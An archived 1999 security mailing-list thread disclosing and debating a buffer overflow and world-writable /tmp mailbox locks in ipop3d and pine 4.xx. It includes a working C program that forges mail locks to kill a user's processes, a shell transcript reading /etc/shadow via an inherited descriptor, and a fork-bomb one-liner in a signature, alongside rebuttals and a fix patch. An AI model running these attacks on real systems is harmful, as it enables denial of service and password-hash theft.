ipop3d.4.xx.bof.txt

`Date: Sun, 7 Mar 1999 01:41:25 +0100  
From: Michal Zalewski <[email protected]>  
  
Overflow in CAC.Washington.EDU ipop3d 4.xx  
  
CAC.Washington.EDU ipop3d 4.xx, at least on Linux platform, has serious   
security hole. When data is read from so-called mailbox lock created in   
/tmp directory (this happens under certain conditions - please refer exploit   
code below), it's stored in _too_small_ buffer. It is possible to overwrite   
some data, and registers as well. For testing purposes, simple exploit code   
presented below could be used - suggested changes:  
  
write(i,"-1",2) -> write(i,"(about 1100 b)",1100)  
truncate(i,2) -> truncate(i,1100);  
  
Exploited overflow in ipop3d could be used to gain superuser access (the  
only thing done by ipop3d is setuid+setgid, no seteuid/setreuid).  
  
CAC.Washington.EDU ipop3d is shipped by default with Red Hat Linux,  
included in IMAP package.  
  
Solution: you have to look for something like kill(i,SIGUSR2) in sources   
and modify lines just before it ;>  
  
  
The problem is probably well known, but silently ignored by pine vendors.  
Unfortunately, it's possible to turn 'mostly harmless feature' in  
something nasty - following code allows various DoSes by killing all  
processes of luser (could be root?) every time he/she runs pine or  
receives mail via POP3 protocol:  
  
-- lock-exploit.c --  
// Pine 4.xx, ipop3d 4.xx and other /tmp-lock based mail stuff.  
  
#include <sys/file.h>  
#include <sys/stat.h>  
#include <unistd.h>  
  
main(int argc,char* argv[]) {  
int i,a=0;  
char s[100];  
struct stat x;  
if (!argv[1]) exit(printf("Usage: %s account_name\n",argv[0]));  
sprintf(s,"/var/spool/mail/%s",argv[1]);  
if (stat(s,&x)) exit(printf("Mailbox (%s) not found.\n",s));  
sprintf(s,"/tmp/.%x.%x",(int)x.st_dev,(int)x.st_ino);  
fchmod(i=open(s,O_RDWR|O_CREAT,0600),0666);  
while (1) {  
lseek(i,0,0);  
write(i,"-1",2);  
ftruncate(i,2);  
fsync(i);  
if (!a++) if (!flock(i,LOCK_EX)) printf("Got lock on %s.\n",s);  
else printf("File %s already locked, wait...\n",s);  
sleep(1);  
}  
}  
-- eof --  
  
Works well under Linux. Under BSD, pine seems to have broken mailbox  
access negotiation (fortunately ;-). No information about ipop3d.  
  
Mainly, this vunerability demonstrates that world-writable mailbox locks  
in /tmp are SICK IDEA (one day, as I recall, one of pine vendors said it's  
'harmless', while other solutions allows several DoS attacks... huh).  
  
-  
  
_______________________________________________________________________  
Michal Zalewski [[email protected]] [link / marchew] [dione.ids.pl SYSADM]  
[Marchew Industries] ! [http://lcamtuf.na.export.pl] bash$ :(){ :|:&};:  
[voice phone: +48 (0) 22 813 25 86] ? [pager (MetroBip): 0 642 222 813]  
Iterowac jest rzecza ludzka, wykonywac rekursywnie - boska [P. Deutsch]  
  
-----------------------------------------------------------------------------  
  
Date: Wed, 7 Apr 1999 20:00:33 +0200  
From: Viktor Fougstedt <[email protected]>  
To: [email protected]  
Subject: Re: ipop3d (x2) / pine (x2) / Linux kernel (x2) / Midnight Commander (x2)  
  
On Tue, 6 Apr 1999, Stefan Rompf wrote:  
  
> >Exploited overflow in ipop3d could be used to gain superuser access (the  
> >only thing done by ipop3d is setuid+setgid, no seteuid/setreuid).  
>  
> Fortunately, you are wrong here. Quoting from the Solaris' setuid() manpage:  
>  
> If the effective user ID of the process calling setuid() is  
> the super-user, the real, effective, and saved user IDs are  
> set to the uid parameter.  
  
You make an important point.  
  
In fact I have several times seen the opposite problem to what which  
the original poster suggested. Some programs running setuid root only  
does a seteuid(), which does not touch the saved-user-id. The  
programmers have done this in the belief that it drops all root  
priviledges (the programs did not need to re-aquire priviledges at a  
later time, and the comments in the code suggested that the call's  
intention was to get rid of all priviledges).  
  
These programs should probably do a setuid() instead, which affects  
saved-user-id as well.  
  
This problem isn't huge, you might say, because whenever you do a  
fork() or similar, the saved-user-id should be reset. But if you can  
take control of the application via a buffer overflow or the like, and  
saved-user-id is root then you have no problem of getting the root  
priviledges back before doing a fork().  
  
Just my $.02 worth.  
  
  
/Viktor...  
  
--| Viktor Fougstedt, system administrator at dtek.chalmers.se |--  
--| http://www.dtek.chalmers.se/~viktor/ |--  
--| ...soon we'll be sliding down the razor blade of life. /Tom Lehrer |--  
  
-----------------------------------------------------------------------------  
  
Date: Tue, 6 Apr 1999 19:57:25 +0200  
From: Stefan Rompf <[email protected]>  
To: [email protected]  
Subject: Re: ipop3d (x2) / pine (x2) / Linux kernel (x2) / Midnight Commander (x2)  
  
Hello Michal,  
  
At 01:41 07.03.99 +0100, you wrote:  
  
>Exploited overflow in ipop3d could be used to gain superuser access (the  
>only thing done by ipop3d is setuid+setgid, no seteuid/setreuid).  
  
Fortunately, you are wrong here. Quoting from the Solaris' setuid() manpage:  
  
If the effective user ID of the process calling setuid() is  
the super-user, the real, effective, and saved user IDs are  
set to the uid parameter.  
  
Linux behaves the same way, IMHO this is defined in POSIX.  
  
cu.. Stefan  
  
-----------------------------------------------------------------------------  
  
Date: Mon, 8 Mar 1999 02:37:18 +0100  
From: Michal Zalewski <[email protected]>  
  
> 1. Overflow in CAC.Washington.EDU ipop3d 4.xx  
> 2. Overflow in pine 4.xx (Linux)  
  
Mark Crispin, on devel list: "...however, that only affects either an  
index or a stat buffer, neither of which is subsequently used.  
Furthermore, even if there was an overflow, it is impossible to use this  
to gain superuser access. This lock access is only done by a process  
after being logged in as the user."  
  
So he claims it is NOT exploitable. Not true. It IS exploitable, please  
just type 'gdb' and take a better look on what happens. While root  
privledges are dropped, anyone who thinks that ipop3d couldn't be  
exploited to gain any privledges, is wrong! Take a look on open file  
descriptors, Mark. Problem should be fixed in next release of IMAP  
package.  
  
-----------------------------------------------------------------------------  
  
Date: Thu, 8 Apr 1999 16:39:30 +0200  
From: M.C.Mar <[email protected]>  
Reply-To: M.C.Mar <[email protected]>  
  
On Tue, 6 Apr 1999, Stefan Rompf wrote:  
  
> Hello Michal,  
>  
> At 01:41 07.03.99 +0100, you wrote:  
>  
> >Exploited overflow in ipop3d could be used to gain superuser access (the  
> >only thing done by ipop3d is setuid+setgid, no seteuid/setreuid).  
>  
> Fortunately, you are wrong here. Quoting from the Solaris' setuid() manpage:  
>  
> If the effective user ID of the process calling setuid() is  
> the super-user, the real, effective, and saved user IDs are  
> set to the uid parameter.  
>  
> Linux behaves the same way, IMHO this is defined in POSIX.  
>  
But, (un)fortunately when exploiting ipop3d I found something like this:  
  
Grabarz:~emsi# lsof -n | grep 1190  
sh 1190 emsi cwd DIR 8,1 1024 2 /  
sh 1190 emsi rtd DIR 8,1 1024 2 /  
sh 1190 emsi txt REG 8,1 279352 16324 /bin/bash  
sh 1190 emsi mem REG 8,1 78828 30629 /lib/ld-linux.so.1.9.5  
sh 1190 emsi mem REG 8,1 11493 79564 /lib/libtermcap.so.2.0.8  
sh 1190 emsi mem REG 8,1 605044 79566 /lib/libc.so.5.4.33  
[...]  
sh 1190 emsi 3r REG 8,1 598 24674 /etc/shadow  
  
Shel spawned via ipop3d explotation (no bonus -- no exploit core) inherits  
opened fd :)  
  
So we may do something like this:  
  
emsi:~emsi# telnet grabarz 110  
Trying 192.168.0.19...  
Connected to grabarz.  
Escape character is '^]'.  
+OK Grabarz POP3 3.3(20) w/IMAP2 client (Comments to [email protected]) at Fri, 9 Apr 1999 15:19:33 +0000 ( )  
user emsi  
+OK User name accepted, password please  
pass qpqp01  
id;  
uid=1002(emsi) gid=100(users) groups=100(users)  
: command not found  
bash -i;  
bash$ cd ~emsi  
cd ~emsi  
bash$  
bash$ cat p.c  
cat p.c  
char buf[255];  
lseek(3,0,0);  
read(3,buf,255);  
printf("Be my guest:\n%s\n",buf);  
}  
bash$  
bash$ gcc p.c  
gcc p.c  
bash$  
./a.out  
Be my guest:  
root:csKcGWMEUMGUs:10539:0:::::  
halt:*:9797:0:::::  
operator:*:9797:0:::::  
shutdown:*:9797:0:::::  
sync:*:9797:0:::::  
bin:*:9797:0:::::  
ftp:*:9797:0:::::  
daemon:*:9797:0:::::  
adm:*:9797:0:::::  
lp:*:9797:0:::::  
mail:*:9797:0:::::  
postmaster:*:9797:0:::::  
new¿¤þ^  
`  
bash$  
bash$  
  
That's only example... It proofs that exploiting ipop3d could be usefull  
to obtain root (or any other account) access and that the vulnerability  
should be fixed.  
  
P.S.  
Greetings Lam3rZ Group, 3Kombajd_do_czere¶ni testers and Lcamtuf (ty lamo,  
czy wkoñcu pode¶lesz mi ten txt co mi obieca³e¶? ;).  
  
--  
___________________________________________________________________________  
M.C.Mar An NT server can be run by an idiot, and usually is. [email protected]  
"If you can't make it good, make it LOOK good." - Bill Gates  
Moze to nie miejsce, ale tak np. programy M$ to swoiste pomniki glupoty.  
  
-----------------------------------------------------------------------------  
  
Date: Thu, 8 Apr 1999 18:16:48 -0700  
From: Mark Crispin <[email protected]>  
Reply-To: Pine Team <[email protected]>  
  
Date: Thu, 8 Apr 1999 18:16:48 -0700  
From: Mark Crispin <[email protected]>  
Reply-To: Pine Team <[email protected]>  
To: [email protected]  
Subject: Re: ipop3d (x2) / pine (x2) / Linux kernel (x2) / Midnight Commander (x2)  
  
We thought these claims required a response from us since they contain  
misleading information and only about 20% fact. And by the way, we were  
not contacted before this post was made to BUGTRAQ, as protocol states.  
  
The impact is only with the standard UNIX format.  
  
The buffer overflow claim, and in particular the alleged root compromise, is  
bogus. The process is not root when mailboxes are open; nor can it get root  
back. He is confused by the SVR4 semantics of UID; the caveat about the  
real UID does not apply to root processes doing setuid().  
  
The maximum exposure is that one byte of stack frame may be set to zero,  
because of a "buf[x] = 0" for a stack buffer of length x. This may cause a  
SEGV; more likely it will just clobber a variable that isn't used after that  
point in the function anyway. It is not possible to write something else, nor  
is it possible to write at any other location.  
  
In other words, this "buffer overflow" bug is just an ordinary bug. It  
doesn't happen unless the software is abused, and even may be totally harmless  
depending upon the code that your C compiler generates. It is *NOT* a  
security bug in the normal sense.  
  
Now, we'll talk about the 20% that is fact. Yes, it is possible to write  
a negative process ID in the lock file. This requires that the attacker  
have shell access; it can't be mounted remotely. It also requires that  
the attacker have a program running at the time that the victim opens his  
mail file.  
  
Not only is the program running, but it has the lock file open and locked. In  
other words, it's incredibly easy to catch; particularly if you have lsof.  
Nor can there be any question of intent when it comes to prosecution. Only an  
extremely stupid individual would try it.  
  
-----------------------------------------------------------------------------  
  
Date: Fri, 9 Apr 1999 10:48:05 +0200  
From: Olaf Kirch <[email protected]>  
To: [email protected]  
Subject: Re: ipop3d (x2) / pine (x2) / Linux kernel (x2) / Midnight Commander (x2)  
Parts/Attachments:  
1 Shown 47 lines Text  
2 2.3 KB Application  
----------------------------------------  
  
--------  
On Thu, 08 Apr 1999 18:16:48 PDT, Mark Crispin wrote:  
> The maximum exposure is that one byte of stack frame may be set to zero,  
> because of a "buf[x] = 0" for a stack buffer of length x.  
[snip]  
> It is *NOT* a security bug in the normal sense.  
  
I haven't done a thorough analysis, but let me make a general remark.  
Even a single byte overflow can have deadly consequences.  
  
When compiling imap on an intel box (gcc -O2), the stack frame of the  
procedure we're talking about looks like this:  
  
word return address  
word frame pointer of calling process  
1024 bytes buffer  
  
Writing a NUL byte past the end of the buffer will clobber the first byte  
of the frame pointer (which is its LSB, since we're little-endian). This  
shifts down the stack frame of the calling procedure by an amount between  
0 and 252 bytes. When the calling procedure returns, it will pick up a  
bogus return address, which _may_ be just inside a data buffer filled  
with client-supplied data.  
  
This is not just a theoretic possibility. I've seen this happen once with  
the linux user space nfsd. It gave me enough of a headache debugging it  
that I feel no urge to find out whether this applies to imapd as well...  
  
> Now, we'll talk about the 20% that is fact. Yes, it is possible to write  
> a negative process ID in the lock file. This requires that the attacker  
> have shell access; it can't be mounted remotely. It also requires that  
> the attacker have a program running at the time that the victim opens his  
> mail file.  
  
There's a feature in imap that's rarely if ever mentioned which lets  
you configure the lock protection for mailbox locks. In /etc/client.cf,  
you can do `set lock-protection 0600'. The source says it's totally  
unsupported and may go away anytime, though.  
  
Combined with the appended patch this may make both Mark and the people  
who dislike his lock files happy. (AFAIK a very similar patch is in  
4.5 already).  
  
Olaf Kirch  
--  
Olaf Kirch | --- o --- Nous sommes du soleil we love when we play  
[email protected] | / | \ sol.dhoop.naytheet.ah kin.ir.samse.qurax  
  
  
  
diff -ur imap-4.4.orig/src/osdep/unix/env_unix.c imap-4.4/src/osdep/unix/env_unix.c  
--- imap-4.4.orig/src/osdep/unix/env_unix.c Wed Aug 26 20:04:50 1998  
+++ imap-4.4/src/osdep/unix/env_unix.c Fri Apr 9 10:21:39 1999  
@@ -709,19 +709,52 @@  
  
int lock_work (char *lock)  
{  
- int fd;  
- long nlinks = chk_notsymlink (lock);  
- if (!nlinks) return -1; /* fail if symbolic link */  
- if (nlinks > 1) { /* extra hard link to the file? */  
- mm_log ("SECURITY ALERT: hard link to lock name!",ERROR);  
- syslog (LOG_CRIT,"SECURITY PROBLEM: lock file %s has a hard link",lock);  
- return -1;  
+ struct stat sbuf, fsbuf;  
+ int prot, fd;  
+  
+ prot = (int) mail_parameters (NIL,GET_LOCKPROTECTION,NIL);  
+ if (lstat (lock, &sbuf) < 0) {  
+ fd = open(lock, O_RDWR|O_CREAT|O_EXCL, prot);  
+ } else if ((fd = open(lock, O_RDWR)) >= 0) {  
+ if (fstat(fd, &fsbuf) < 0) {  
+ syslog(LOG_NOTICE, "unable to fstat %s?!", lock);  
+ goto fail;  
+ }  
+ if (sbuf.st_dev != fsbuf.st_dev || sbuf.st_ino != fsbuf.st_ino) {  
+ mm_log ("SECURITY ALERT: Someone is playing symlink "  
+ "tricks with lock file", ERROR);  
+ syslog (LOG_CRIT,  
+ "SECURITY PROBLEM: Someone is playing symlink "  
+ "tricks with lock file %s", lock);  
+ goto fail;  
+ }  
+ if (fsbuf.st_nlink > 1) {  
+ mm_log ("SECURITY ALERT: hard link to lock file", ERROR);  
+ syslog (LOG_CRIT,  
+ "SECURITY PROBLEM: hard link to lock file %s",  
+ lock);  
+ goto fail;  
+ }  
+ if (fsbuf.st_uid != getuid() || fsbuf.st_gid != getgid()) {  
+ mm_log ("SECURITY ALERT: bad owner for lock file", ERROR);  
+ syslog (LOG_CRIT,  
+ "SECURITY PROBLEM: bad owner for lock file %s (uid %d gid %d)",  
+ lock, fsbuf.st_uid, fsbuf.st_gid);  
+ goto fail;  
+ }  
+ if (fsbuf.st_mode & ~prot) {  
+ mm_log ("SECURITY ALERT: bad permissions on lock file", ERROR);  
+ syslog (LOG_CRIT,  
+ "SECURITY PROBLEM: bad permissions on file %s "  
+ "(mode 0%o, should be 0%o)",  
+ lock, fsbuf.st_mode & O_ACCMODE, prot);  
+ goto fail;  
+ }  
}  
- if ((fd = open (lock,O_RDWR | O_CREAT | ((nlinks < 0) ? O_EXCL : NIL),  
- (int) mail_parameters (NIL,GET_LOCKPROTECTION,NIL))) >= 0)  
- /* make sure mode OK (don't use fchmod()) */  
- chmod (lock,(int) mail_parameters (NIL,GET_LOCKPROTECTION,NIL));  
return fd;  
+fail:  
+ close(fd);  
+ return -1;  
}  
  
-----------------------------------------------------------------------------  
  
Date: Fri, 9 Apr 1999 09:18:15 -0700  
From: Mark Crispin <[email protected]>  
To: [email protected]  
Subject: Re: ipop3d (x2) / pine (x2) / Linux kernel (x2) / Midnight Commander (x2)  
  
ipop3d 3.3(20) and imapd 7.8(100) are both several years old. The security  
problems in those versions were published years ago. Those bugs were also  
fixed years ago. What is your point?  
  
On Fri, 9 Apr 1999 13:09:01 +0200 (MET DST), M.C.Mar wrote:  
> ALL ABOVE IS TRUE ONLY FOR PINE, NOT FOR PINE COMPOONENTS (as ipop3d or  
> imap, which is also vulnerable to semilocal buffer overflow that allows  
> any user to read /etc/shadow). I tryed to explit pine, ipop3d [POP3  
> 3.3(20) w/IMAP2 client (Comments to [email protected])] and imap  
> [IMAP2bis Service 7.8(100)].  
>  
> 1) I could not execute any code using pine although gdb shows I  
> overwrited stack ret and ip register points to what I want.  
> 2) I could read /etc/shadow exploiting ipop3d.  
> 3) I could read /etc/shadow exploiting imap.  
  
-----------------------------------------------------------------------------  
  
Date: Sun, 11 Apr 1999 16:07:12 +0400  
From: GvS <[email protected]>  
To: [email protected]  
Subject: Re: ipop3d (x2) / pine (x2) / ...  
  
Hi there!  
  
On Thu, 8 Apr 1999, Mark Crispin wrote:  
  
MC> We thought these claims required a response from us since they contain  
MC> misleading information and only about 20% fact. And by the way, we were  
MC> not contacted before this post was made to BUGTRAQ, as protocol states.  
[snip]  
  
The experience says: it's useless lack of time to report something to  
you. Michal (and me) had some conversations (about pine locking world  
writable, e.g.) before with no reasonable results - so why contact you  
first? It seems like you love the things you made too strong to react  
for any issues related. Using pine for almost three years, I still  
need to patch the any new version. People who used imap3d and ipop3d  
said something similar about them.  
  
Your development team occupates position which doesn't seem wise. I  
myself can't see any point of reason to inform you about patches  
available, but I can see the direct reason to inform bugtraq  
subscribers.  
  
SY, Seva Gluschenko, just stranger at the Road.  
GVS-RIPE: Cronyx Plus / RiNet network administrator.  
  
--- IRC: erra  
* Origin: Erra Netmale ([email protected]) [http://gvs.rinet.ru/]  
  
`